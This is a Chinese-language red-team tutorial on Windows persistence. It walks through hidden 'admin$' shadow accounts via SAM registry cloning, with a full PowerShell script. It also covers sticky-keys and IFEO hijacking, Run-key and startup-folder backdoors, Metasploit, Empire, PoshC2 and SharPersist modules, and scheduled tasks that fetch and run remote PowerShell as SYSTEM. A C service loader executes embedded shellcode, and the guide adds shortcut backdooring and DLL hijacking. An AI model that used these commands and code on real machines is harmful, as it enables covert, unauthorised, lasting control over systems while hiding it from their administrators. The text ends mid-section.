Windows权限维持

影子账号

影子用户即创建的隐藏用户,它无法通过普通命令进行查询,比较隐蔽。

1、 对注册表赋予权限

默认注册表 HKEY_LOCAL_MACHINE\SAM\SAM\ 只有system权限才能修改
现在需要为其添加管理员权限
右键-权限-选中Administrators,允许完全控制
Windows权限维持 - 图1
重启注册表

2、创建特殊账户

  1. net user admin$ Aa123456... /add
  2. net localgroup administrators admin$ /add

PS: 用 $ 结尾是因为 net user 无法获取,一定情况下隐蔽

3、导出注册表

在注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户 admin$
还有如图的 2 个,均导出
Windows权限维持 - 图2
得到3个导出的注册表,如下
Windows权限维持 - 图3
编辑 1F43EE 的注册表,用 1F4 里面的 F 去替换 3EE 里面的 F
Windows权限维持 - 图4
保存

4、删除特殊账户

  1. net user admin$ /del

5、导入reg文件

  • 方法一:直接双击 admin$3EE 注册表
  • 方法二:
    1. regedit /s 3EE.reg
    2. regedit /s admin$.reg
    Windows权限维持 - 图5

    6、大功告成

    Windows权限维持 - 图6
    无法通过 net user admin$ /del 来删除
    Windows权限维持 - 图7

    7、删除方法

    删除注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 下对应帐户的键值即可(共有两处)
    Windows权限维持 - 图8

    8、脚本自动化

    https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1 PS C:>.\Windows-User-Clone_ps1.ps1 powershell -File Windows-User-Clone_ps1.ps1

  1. function Create-Clone
  2. {
  3. <#
  4. .SYNOPSIS
  5. This script requires System privileges. You can use Invoke-TokenManipulation.ps1 to get System privileges and create the clone user.
  6. Link: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
  7. Author: Evilcg and 3gstuent
  8. Evilcg's way to achieve the same goal:
  9. https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Create-Clone.ps1
  10. .PARAMETER u
  11. The clone username
  12. .PARAMETER p
  13. The clone user's password
  14. .PARAMETER cu
  15. The user to be cloned, default administrator
  16. .EXAMPLE
  17. Create-Clone -u abc -p abc123 -cu administrator
  18. #>
  19. Param(
  20. [Parameter(Mandatory=$true)]
  21. [String]
  22. $u,
  23. [Parameter(Mandatory=$true)]
  24. [String]
  25. $p,
  26. [Parameter(Mandatory=$false)]
  27. [String]
  28. $cu = "administrator"
  29. )
  30. function Create-user ([string]$Username,[string]$Password)
  31. {
  32. $group = "Administrators"
  33. $adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
  34. $existing = $adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username }
  35. if ($existing -eq $null) {
  36. Write-Host "Creating new local user $Username with password $Password"
  37. & NET USER $Username $Password /add /y /expires:never | Out-Null
  38. Write-Host "Adding local user $Username to $group."
  39. & NET LOCALGROUP $group $Username /add | Out-Null
  40. }
  41. else {
  42. Write-Host "[*] Setting password for existing local user $Username"
  43. $existing.SetPassword($Password)
  44. }
  45. Write-Host "[*] Ensuring password for $Username never expires"
  46. WMIC USERACCOUNT WHERE "Name='$Username'" SET PasswordExpires=FALSE
  47. }
  48. function GetUser-Key([string]$user)
  49. {
  50. cmd /c "regedit /e $env:temp\$user.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\$user""
  51. $file = Get-Content "$env:temp\$user.reg" | Out-String
  52. $pattern="@=hex\((.*?)\)\:"
  53. $file -match $pattern |Out-Null
  54. $key = "00000"+$matches[1]
  55. Write-Host $key
  56. return $key
  57. }
  58. function Clone ([string]$ukey,[string]$cukey)
  59. {
  60. $ureg = "HKLM:\SAM\SAM\Domains\Account\Users\$ukey" |Out-String
  61. $cureg = "HKLM:\SAM\SAM\Domains\Account\Users\$cukey" |Out-String
  62. $cuFreg = Get-Item -Path $cureg.Trim()
  63. $cuFvalue = $cuFreg.GetValue('F')
  64. Set-ItemProperty -path $ureg.Trim() -Name "F" -value $cuFvalue
  65. $outreg = "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$ukey"
  66. cmd /c "regedit /e $env:temp\out.reg $outreg.Trim()"
  67. Write-Host "Copy from $cu to $u success."
  68. }
  69. function Main ()
  70. {
  71. Write-Host "[*] Current token: " -NoNewline
  72. $token=whoami
  73. if($token -ne "nt authority\system")
  74. {
  75. Write-Host " " $token
  76. Write-Host "[!] Low privileges."
  77. Write-Host "[*] Exit."
  78. Exit
  79. }
  80. else
  81. {
  82. Write-Host $token
  83. }
  84. Write-Host "[*] Create User..."
  85. Create-user $u $p
  86. Write-Host "[*] Get User $u's Key: " -NoNewline
  87. $ukey = GetUser-Key $u |Out-String
  88. Write-Host "[*] Get User $cu's Key: " -NoNewline
  89. $cukey = GetUser-Key $cu |Out-String
  90. Write-Host "[*] Try to clone..."
  91. Clone $ukey $cukey
  92. Write-Host "[*] Delete User:$u"
  93. Net User $u /del |Out-Null
  94. Write-Host "[*] Import the registry"
  95. cmd /c "regedit /s $env:temp\$u.reg"
  96. cmd /c "regedit /s $env:temp\out.reg"
  97. Write-Host "[*] Clearn"
  98. Remove-Item $env:temp\*.reg
  99. Write-Output "[*] All Done."
  100. }
  101. Main
  102. }
  103. Create-Clone -u admin$ -p Aa123456...

辅助功能镜像劫持

为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。
比如最常见的按5下shift出现的粘滞键Sethc.exe(shift后门),还有Windows + U组合键时启动的utilman.exe程序

  1. 屏幕键盘:C:\Windows\System32\osk.exe
  2. 放大镜:C:\Windows\System32\Magnify.exe
  3. 旁白:C:\Windows\System32\Narrator.exe
  4. 显示切换器 C:\Windows\System32\DisplaySwitch.exe
  5. 应用切换器:C:\Windows\System32\AtBroker.exe

低版本

在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\sethc.exe替换为cmd.exe

  1. cd WINDOWS\system32
  2. move sethc.exe sethc.exe.bak
  3. copy cmd.exe sethc.exe

直接按5次shift键弹出cmd窗口,可直接以system权限执行系统命令,创建管理员用户,登录服务器等。
Windows权限维持 - 图9

高版本

再较高的版本中,我们需要用到IFEO,即映像劫持。

什么是IFEO

所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。
当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序

可视化修改

在iexplorer.exe中加入键值对:debugger c:\windows\system32\cmd.exe
Windows权限维持 - 图10

命令行修改

  1. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

Windows权限维持 - 图11
需要管理员权限

开机启动项

开始菜单启动项

开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:

  1. [WIN+R 输入] shell:startup
  2. C:\Users\SD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

相关键值

  1. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
  2. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  3. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

Windows权限维持 - 图12
由于每台电脑的快速启动目录不同,可以代码实现

  1. #include <iostream>
  2. #include <windows.h>
  3. #include <shlobj.h>
  4. #pragma comment(lib, "shell32.lib")
  5. BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName)
  6. {
  7. BOOL ret = false;
  8. CHAR szStartPath[MAX_PATH] = { 0 };
  9. CHAR szDestFilePath[MAX_PATH] = { 0 };
  10. //返回快速启动目录路径到szStartPath
  11. ret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE);
  12. //判断是否获取成功
  13. if (ret == TRUE)
  14. {
  15. printf("[+]Get the quick start directory successfully!\n");
  16. }
  17. else
  18. {
  19. printf("[!]Get the quick start directory faild!\n");
  20. return FALSE;
  21. }
  22. //构造文件在快速启动目录下的路径
  23. ::wsprintfA(szDestFilePath,"%s\\%s",szStartPath,lpszDestFileName);
  24. //复制文件到快速启动目录下
  25. ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE);
  26. if (FALSE == ret)
  27. {
  28. printf("[!]Failed to save the file in the quick start directory.\n");
  29. return FALSE;
  30. }
  31. else
  32. {
  33. printf("[!]Successfully to save the file in the quick start directory.\n");
  34. }
  35. printf("[+]Backdoor generation in quick start directory successful!\n");
  36. return TRUE;
  37. }
  38. int main(int argc, char* argv[])
  39. {
  40. printf("[*]Useage:\n %s %s %s\n", "Run_StartUp.exe", "E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor.exe");
  41. if (argc == 3)
  42. {
  43. AutoRun_Startup(argv[1], argv[2]);
  44. }
  45. else
  46. {
  47. printf("[!]Please check the number of your parameters\n");
  48. }
  49. }

Windows权限维持 - 图13

组策略

组策略,运行gpedit.msc,通过组策略的“脚本(启动/关机)”项来说实现。
具体位置在“计算机配置→Windows设置”项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
Windows权限维持 - 图14

启动项注册表后门

命令行

注册表项可以从终端添加到运行键以实现持久性。这些键将包含对用户登录时将执行的实际负载的引用,已知使用此持久性方法的威胁因素和红队使用以下注册表位置。

  1. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
  2. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
  3. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
  4. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

Windows权限维持 - 图15
值得注意的是,HKEY_CURRENT_USER的改动不需要管理员权限,而更改HKEY_LOCAL_MACHINE却是需要管理员权限
如果已获得提升的凭据,则最好使用本地计算机注册表位置,而不是当前用户,因为payload将在每次系统启动时执行,而与使用系统身份验证的用户无关。

  1. reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
  2. reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
  3. reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
  4. reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

Windows权限维持 - 图16
另外两个注册表位置,这些位置可以允许红队通过执行任意payload或DLL来实现持久性。这些将在登录期间执行,并且需要管理员级别的特权。

  1. reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
  2. reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"

Metasploit

Metasploit Framework通过使用Meterpreter脚本和后期利用模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个payload,该负载将被拖放到磁盘上,并将创建一个注册表项,该注册表项将在用户登录期间运行该payload。

  1. run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21

Windows权限维持 - 图17
另外,还有一个后期开发模块,可用于持久性。该模块需要以下配置,并将可执行文件放置在受感染系统上的可写位置。

  1. use post/windows/manage/persistence_exe
  2. set REXEPATH /tmp/pentestlab.exe
  3. set SESSION 2
  4. set STARTUP USER
  5. set LOCALEXEPATH C:\\tmp
  6. run

Windows权限维持 - 图18
由于已选择USER作为选项,该模块将使用当前用户的注册表位置。
如果已获得系统级别的特权,则可以将该模块配置为在HKLM位置中创建注册表项。该STARTUP选项将需要改变系统。

  1. set STARTUP SYSTEM

SharPersist

SharPersistBrett Hawkins在C#中开发的工具,它结合了多种持久性技术,包括添加注册表运行键。该工具包可以加载到支持反射加载的各种命令和控制框架中,例如Cobalt Strike和PoshC2。以下命令将创建一个注册表项,该注册表项将从与Metasploit Framework模块相同的注册表位置执行任意payload。

  1. SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -k "hkcurun" -v "pentestlab" -m add

Windows权限维持 - 图19
如果已获得提升的访问权限,请修改命令以在本地计算机位置中安装注册表项,以实现所有用户的持久性。

  1. SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -k "hklmrun" -v "pentestlab" -m add -o env

Windows权限维持 - 图20
SharPersist还通过RunOnceRunOnceEx注册表项包含持久性功能。以下命令将在这些位置创建注册表项,这些注册表项将执行任意payload。

  1. SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonce" -v "Pentestlab" -m add
  2. SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonceex" -v "Pentestlab" -m add
  3. SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hkcurunonce" -v "Pentestlab" -m add

Windows权限维持 - 图21
SharPersist还提供了使用另一个注册表位置进行持久化的选项(UserInitMprLogonScript)。

  1. SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "logonscript" -m add

Windows权限维持 - 图22

PoshC2

PoshC2支持各种持久性功能,包括注册表运行键的方法。以下命令将在目标主机中创建两个注册表项。

  1. install-persistence

Windows权限维持 - 图23
注册表的“运行”项将具有IEUpdate的名称,以便看起来合法,第二个注册表项将作为墙纸隐藏在注册表中。
Windows权限维持 - 图24

Empire

如果将Empire用作命令和控件,Empire包含两个与通过注册表运行项与持久性技术对齐的模块。根据特权级别,这些模块将尝试在以下注册表位置中安装base64payload:

  1. HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
  2. HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug

Windows权限维持 - 图25

  1. usemodule persistence/userland/registry
  2. usemodule persistence/elevated/registry*

Windows权限维持 - 图26
将在名称Updater下创建另一个注册表项,该注册表项将包含要执行的命令。PowerShell将尝试在下次登录时运行Debug密钥中存储的payload,以实现持久性。

  1. HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  2. HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Windows权限维持 - 图27

计划任务

Windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。这种行为可作为一种持久性机制被red team利用。通过计划任务执行持久性不需要管理员权限,但如果已获得提升的权限,则允许进一步操作,例如在用户登录期间或在空闲状态期间执行任务。
计划任务的持久化技术可以手动实现,也可以自动实现。payload可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。这被认为是一种旧的持久性技术,但是它仍然可以在red team场景中使用,并且由各种开源工具支持

图形化位置:开始—所有程序—附件—系统工具—任务计划程序

Windows命令行实现定时任务主要有schtasks与at二种方式:
at 适用于windows xp/2003,schtasks适用于win7/2008或者以后
每五分钟执行一次

  1. schtasks /create /sc minute /mo 5 /tn "sd" /tr C:\Windows\System32\cmd.exe

该任务将在每个Windows登录中以SYSTEM的形式下载并执行基于PowerShell的payload。

  1. schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

一些举例

  1. #(X64) - On System Start
  2. schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
  3. #(X64) - On User Idle (30mins)
  4. schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
  5. #(X86) - On User Login
  6. schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
  7. #(X86) - On System Start
  8. schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
  9. #(X86) - On User Idle (30mins)
  10. schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

服务

在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE /DLL等可执行文件注册为服务实现后门持久化。

创建服务

CMD直接创建服务

  1. sc create "SD" binpath= "C:\Users\SD\Desktop\test.exe"
  2. sc description "SD" "description" # 设置服务的描述字符串
  3. sc config "SD" start= auto # 设置这个服务为自动启动
  4. net start "SD" # 启动服务
  5. sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto" obj="LocalSystem"
  6. sc start pentestlab

Windows权限维持 - 图28

Powershell创建服务

  1. New-Service -Name "pentestlab" -BinaryPathName "C:\temp\pentestlab.exe" -Description "PentestLaboratories" -StartupType Automatic
  2. sc start pentestlab

Windows权限维持 - 图29

其他

也可以直接编写一个服务,穿插着shellcode上线

  1. #include <windows.h>
  2. #include <iostream>
  3. unsigned char buf[] ="\xfc\xe8\x89\x00\x00...............................................\x36\x38\x2e\x31\x2e\x31\x30\x36\x00\x12\x34\x56\x78";
  4. #define SLEEP_TIME 5000 /*间隔时间*/
  5. #define LOGFILE "C:\\Windows\\log1.txt" /*信息输出文件*/
  6. SERVICE_STATUS ServiceStatus; /*服务状态*/
  7. SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/
  8. void ServiceMain(int argc, char** argv);
  9. void CtrlHandler(DWORD request);
  10. int InitService();
  11. int main(int argc, CHAR* argv[])
  12. {
  13. WCHAR WserviceName[] = TEXT("sddd");
  14. SERVICE_TABLE_ENTRY ServiceTable[2];
  15. ServiceTable[0].lpServiceName = WserviceName;
  16. ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
  17. ServiceTable[1].lpServiceName = NULL;
  18. ServiceTable[1].lpServiceProc = NULL;
  19. StartServiceCtrlDispatcher(ServiceTable);
  20. return 0;
  21. }
  22. int WriteToLog(const char* str)
  23. {
  24. FILE* pfile;
  25. fopen_s(&pfile, LOGFILE, "a+");
  26. if (pfile == NULL)
  27. {
  28. return -1;
  29. }
  30. fprintf_s(pfile, "%s\n", str);
  31. fclose(pfile);
  32. return 0;
  33. }
  34. /*Service initialization*/
  35. int InitService()
  36. {
  37. CHAR Message[] = "Monitoring started.";
  38. OutputDebugString(TEXT("Monitoring started."));
  39. int result;
  40. result = WriteToLog(Message);
  41. return(result);
  42. }
  43. /*Control Handler*/
  44. void CtrlHandler(DWORD request)
  45. {
  46. switch (request)
  47. {
  48. case SERVICE_CONTROL_STOP:
  49. WriteToLog("Monitoring stopped.");
  50. ServiceStatus.dwWin32ExitCode = 0;
  51. ServiceStatus.dwCurrentState = SERVICE_STOPPED;
  52. SetServiceStatus(hStatus, &ServiceStatus);
  53. return;
  54. case SERVICE_CONTROL_SHUTDOWN:
  55. WriteToLog("Monitoring stopped.");
  56. ServiceStatus.dwWin32ExitCode = 0;
  57. ServiceStatus.dwCurrentState = SERVICE_STOPPED;
  58. SetServiceStatus(hStatus, &ServiceStatus);
  59. return;
  60. default:
  61. break;
  62. }
  63. /* Report current status */
  64. SetServiceStatus(hStatus, &ServiceStatus);
  65. return;
  66. }
  67. void ServiceMain(int argc, char** argv)
  68. {
  69. WCHAR WserviceName[] = TEXT("sddd");
  70. int error;
  71. ServiceStatus.dwServiceType =
  72. SERVICE_WIN32;
  73. ServiceStatus.dwCurrentState =
  74. SERVICE_START_PENDING;
  75. /*在本例中只接受系统关机和停止服务两种控制命令*/
  76. ServiceStatus.dwControlsAccepted =
  77. SERVICE_ACCEPT_SHUTDOWN |
  78. SERVICE_ACCEPT_STOP;
  79. ServiceStatus.dwWin32ExitCode = 0;
  80. ServiceStatus.dwServiceSpecificExitCode = 0;
  81. ServiceStatus.dwCheckPoint = 0;
  82. ServiceStatus.dwWaitHint = 0;
  83. hStatus = ::RegisterServiceCtrlHandler(
  84. WserviceName,
  85. (LPHANDLER_FUNCTION)CtrlHandler);
  86. if (hStatus == (SERVICE_STATUS_HANDLE)0)
  87. {
  88. WriteToLog("RegisterServiceCtrlHandler failed");
  89. return;
  90. }
  91. WriteToLog("RegisterServiceCtrlHandler success");
  92. /* Initialize Service */
  93. error = InitService();
  94. if (error)
  95. {
  96. /* Initialization failed */
  97. ServiceStatus.dwCurrentState =
  98. SERVICE_STOPPED;
  99. ServiceStatus.dwWin32ExitCode = -1;
  100. SetServiceStatus(hStatus, &ServiceStatus);
  101. return;
  102. }
  103. LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  104. memcpy(Memory, buf, sizeof(buf));
  105. ((void(*)())Memory)();
  106. /*向SCM 报告运行状态*/
  107. ServiceStatus.dwCurrentState =
  108. SERVICE_RUNNING;
  109. SetServiceStatus(hStatus, &ServiceStatus);
  110. /*do something you want to do in this while loop*/
  111. MEMORYSTATUS memstatus;
  112. while (ServiceStatus.dwCurrentState ==
  113. SERVICE_RUNNING)
  114. {
  115. char buffer[16];
  116. GlobalMemoryStatus(&memstatus);
  117. int availmb = memstatus.dwAvailPhys / 1024 / 1024;
  118. sprintf_s(buffer, 100, "available memory is %dMB", availmb);
  119. int result = WriteToLog(buffer);
  120. if (result)
  121. {
  122. ServiceStatus.dwCurrentState = SERVICE_STOPPED;
  123. ServiceStatus.dwWin32ExitCode = -1;
  124. SetServiceStatus(hStatus,
  125. &ServiceStatus);
  126. return;
  127. }
  128. Sleep(SLEEP_TIME);
  129. }
  130. WriteToLog("service stopped");
  131. return;
  132. }

这其实也是psexec的原理:建立连接后创建服务反弹shell
Windows权限维持 - 图30
删除服务:

  1. sc delete "SD"

其他的一些工具

SharPersist

https://github.com/fireeye/SharPersist

  1. SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -n "pentestlab" -m add

PowerSploit

https://github.com/PowerShellMafia/PowerSploit

  1. Set-ServiceBinPath -Name pentestlab -binPath "cmd.exe /k C:\temp\pentestlab.exe"
  2. Write-ServiceBinary -Name pentestlab -Command "cmd.exe /k C:\temp\pentestlab.exe"

PoshC2

https://github.com/nettitude/PoshC2_Python

  1. install-servicelevel-persistence

Metasploit
  1. use post/windows/manage/persistence_exe
  2. set REXEPATH /tmp/pentestlab.exe
  3. set SESSION 1
  4. set STARTUP SERVICE
  5. set LOCALEXEPATH C:\\tmp
  6. run

telnet服务

telnet是命令行下的远程登录工具,不过在服务器管理时使用不多也常为管理员所忽视。攻击者如果在控制一台服务器后,开启“远程桌面”进行远程控制非常容易被管理员察觉,但是启动Telnet进行远程控制却不容易被察觉。不过,telnet的默认端口是23,如果开启后,别人是很容易扫描到的,因此攻击者会更改telnet的端口,从而独享该服务器的控制权。

快捷方式

什么是LNK

lnk文件是用于指向其他文件的一种文件。 这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。

利用手法

  1. 为恶意进程创建快捷方式,并将其加入启动程序。
  2. 利用当前用户现有的快捷方式进行迷惑,达到既能开启原程序,又能执行恶意程序的效果。

    利用过程

    直接修改,放置启动目录

    右键快捷方式 —> 属性 —> 目标

Windows权限维持 - 图31

通过更改图标来增加迷惑性

Windows权限维持 - 图32

最后放到启动目录即可

Windows权限维持 - 图33

同时启动两个程序

自启动容易被发现,所以用户在打开正常应用的时候允许同时打开2个应用(包含正常应用)稍微隐蔽一点。
这里需要用到powershell进行辅助
修改目标值为:

  1. powershell.exe -c "invoke-item 'C:\Program Files (x86)\Mozilla Firefox\firefox.exe'; invoke-item c:\windows\system32\calc.exe"

Windows权限维持 - 图34
此时点击快捷方式就可以同时启动两个应用了,缺点就是启动的时候会有一个CMD黑框
解决方案:属性中的运行方式选择最小化
Windows权限维持 - 图35
此方案不足的点,就是鼠标指向图标时,会显示powershell路径
Windows权限维持 - 图36

一些辅助工具

Empire

Empire包含一个持久性模块,该模块可以后门合法的快捷方式(.LNK),以执行任意的PowerShellpayload。现有快捷方式的目标字段将被修改以执行存储在注册表项中的base64脚本。

  1. usemodule persistence/userland/backdoor_lnk

Windows权限维持 - 图37
查看快捷方式的属性将显示目标字段已成功修改以执行PowerShellpayload。
Windows权限维持 - 图38
由于快捷方式存在于启动文件夹中,因此暂存器将在下一次Windows登录中执行,并且将与命令和控制服务器建立连接。
Windows权限维持 - 图39
但是,Empire包含一个可用于生成具有LNK文件格式的暂存器的模块。

  1. usestager windows/launcher_lnk
  2. set Listener http
  3. execute

Windows权限维持 - 图40
默认情况下,此模块将使用写字板图标伪装成可信任的应用程序。
Windows权限维持 - 图41
快捷方式的目标字段将使用执行Base64payload的PowerShell命令填充。可以将快捷方式转移并移动到启动文件夹中以保持持久性。
Windows权限维持 - 图42

SharPersist

SharPersist能够创建Internet Explorer快捷方式,该快捷方式将执行任意payload并将其放置在启动文件夹中以实现持久性。

  1. SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\temp\pentestlab.exe" -f "pentestlab" -m add

Windows权限维持 - 图43
当用户进行身份验证时,将执行payload,并打开Meterpreter会话.
Windows权限维持 - 图44

PoshC2

PoshC2可以创建一个LNK文件并将其直接放置在Windows启动文件夹中以保持持久性。可以通过执行以下命令来调用此技术:

  1. install-persistence 3

Windows权限维持 - 图45
在Windows登录期间,快捷方式将尝试在注册表项上执行值,该注册表项包含base64格式的stager。
Windows权限维持 - 图46

DLL劫持

介绍

DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。

  1. 程序所在⽬录。
  2. 加载 DLL 时所在的当前⽬录。
  3. 系统⽬录即 SYSTEM32 ⽬录。
  4. 16位系统⽬录即 SYSTEM ⽬录。
  5. Windows⽬录。
  6. PATH环境变量中列出的⽬录

dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。
在win7及win7以上系统增加了KnownDLLs保护,需要在如下注册表下添加dll才能顺利劫持

  1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

关于dll劫持的文章有很多,也需要去挖掘,这里推荐一篇文章入门

https://www.cnblogs.com/punished/p/14715771.html

时间服务器

Windows操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的时间戳。时间提供者以DLL文件的形式实现,该文件位于System32文件夹中。Windows启动期间将启动服务W32Time并加载w32time.dll。DLL加载是一种已知的技术,通常使红队攻击者有机会执行任意代码。
由于关联的服务会在Windows启动期间自动启动,因此可以将其用作持久性机制。但是,此方法需要管理员级别的特权,因为指向时间提供者DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。根据系统是用作NTP服务器还是NTP客户端,使用以下两个注册表位置。

  1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient
